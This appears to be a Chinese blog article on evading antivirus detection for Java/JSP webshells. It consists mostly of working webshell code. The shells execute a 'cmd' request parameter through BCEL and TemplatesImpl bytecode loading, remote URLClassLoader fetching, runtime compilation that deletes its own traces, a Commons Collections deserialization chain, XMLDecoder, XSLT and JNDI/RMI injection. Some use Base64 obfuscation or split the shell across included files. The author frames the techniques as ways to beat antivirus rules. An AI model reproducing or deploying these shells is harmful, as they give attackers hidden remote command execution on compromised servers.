byte bytes = Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
String code = Utility.encode(bytes, true);
String bcelCode = "$BCEL$" + code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell = bcelClassLoader.loadClass(bcelCode);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
String cmd = request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>


TemplatesImpl 加载字节码
TemplatesImpl是fastjson反序列化漏洞中常用的对象之一,但是由于在TemplatesImpl触发漏洞点只是调用个无参构造,导致恶意类的类方法无法被调用,只能将恶意代码插入到无参构造方法,或者静态代码块中。package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意:这里的类必须继承自AbstractTranslet<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
class Demo {
private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public Demo(String s) {
try {
byte codes = Base64.getDecoder().decode(s);
byte _bytecodes = new byte {
codes,
};
TemplatesImpl templates = new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");
%>
在这里由于不能调用恶意类的类方法和有参构造,导致无法动态的执行命令,虽然如此但依旧可能利用ASM,javassist这些字节码框架来动态生成恶意类,进行动态的调用命令,在本文先不在探讨如何利用,利用的方式将会在后期文章中讲解。

URLClassLoader本地加载
URLClassLoader一般有两种利用方式,一种是远程加载class文件,一种是本地加载class文件。远程加载class文件免杀:
直接利用远程在家class文件的好处是代码量少,特征少。但是由于需要一个外网主机作为服务器,远程可能存在着被溯源的可能性。<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd = request.getParameter("cmd");
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL{url});
System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>





JavaCompiler本地class文件免杀:
该免杀方式为先写入一个java马,利用JavaCompiler将其在jvm运行时编译成class文件,及javac动态编译,在利用urlclassloader加载编译好的class文件,为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java,class文件,为了隐蔽性,在这里将删除的文件在进行了删除处理。<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>
<%
class delete{
public void deleteDir(File directory){
File files = directory.listFiles();
for (File file : files) {
if(file.isDirectory()){
deleteDir(file);
}else {
file.delete();
}
}
directory.delete();
}
}
String cmd = request.getParameter("cmd");
String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";
FileWriter writer;
try {
writer = new FileWriter(System.getProperty("user.dir")+"Shell.java");
writer.write(new String(Base64.getDecoder().decode(base64Code)));
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
JavaCompiler javac = ToolProvider.getSystemJavaCompiler();
int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"Shell.java");
if(status!=0){
response.getWriter().println(System.getProperty("user.dir"));
}
URLClassLoader classLoader = new URLClassLoader(new URL{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
new delete().deleteDir(new File(System.getProperty("user.dir") + "com"));
new delete().deleteDir(new File(System.getProperty("user.dir") + "Shell.java"));
} catch (Exception e) {
e.printStackTrace();
}
%>



<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd = request.getParameter("cmd");
Transformer transformers = new Transformer {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class { String.class, Class.class }, new Object { "getRuntime", new Class }),
new InvokerTransformer("invoke", new Class { Object.class, Object.class }, new Object { null, new Object }),
new InvokerTransformer("exec", new Class { String.class }, new Object { cmd }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免杀效果:

<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String s = "<object class="java.lang.ProcessBuilder">
" +
"<array class="java.lang.String" length="3">
" +
"<void index="0">
" +
"<string>cmd.exe</string>
" +
"</void>
" +
"<void index="1">
" +
"<string>/c</string>
" +
"</void>
" +
"<void index="2">
" +
"<string>"+cmd+"</string>
" +
"</void>
" +
"</array>
" +
"<void method="start" />
" +
"</object>
";
XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process = (ProcessBuilder) xd.readObject();
InputStream is = process.start().getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>


<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd = request.getParameter("cmd");
String s = " <xsl:stylesheet version="1.0" " +
"xmlns:xsl="http://www.w3.org/1999/XSL/Transform" " +
"xmlns:rt="java.lang.Runtime"> " +
" <xsl:template match="/">
" +
" <xsl:variable name="rtobject" select="rt:getRuntime()"/>
" +
" <xsl:variable name="process" select="rt:exec($rtobject,'"+cmd+"')"/>
" +
" <xsl:variable name="ddd" select="$process"/>
" +
" <xsl:value-of select="$ddd"/>
" +
" </xsl:template>
" +
" </xsl:stylesheet>";
InputStream in = new ByteArrayInputStream(s.getBytes());
StreamResult result = new StreamResult(new ByteArrayOutputStream());
Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version="1.0" encoding="UTF-8"?><data></data>".getBytes())),result);
%>



package com.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
恶意类:import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell:<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>



<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>
1.jpg<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>







<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>
1.jpg<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
%>
2.txt<%
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家。原文链接:
https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral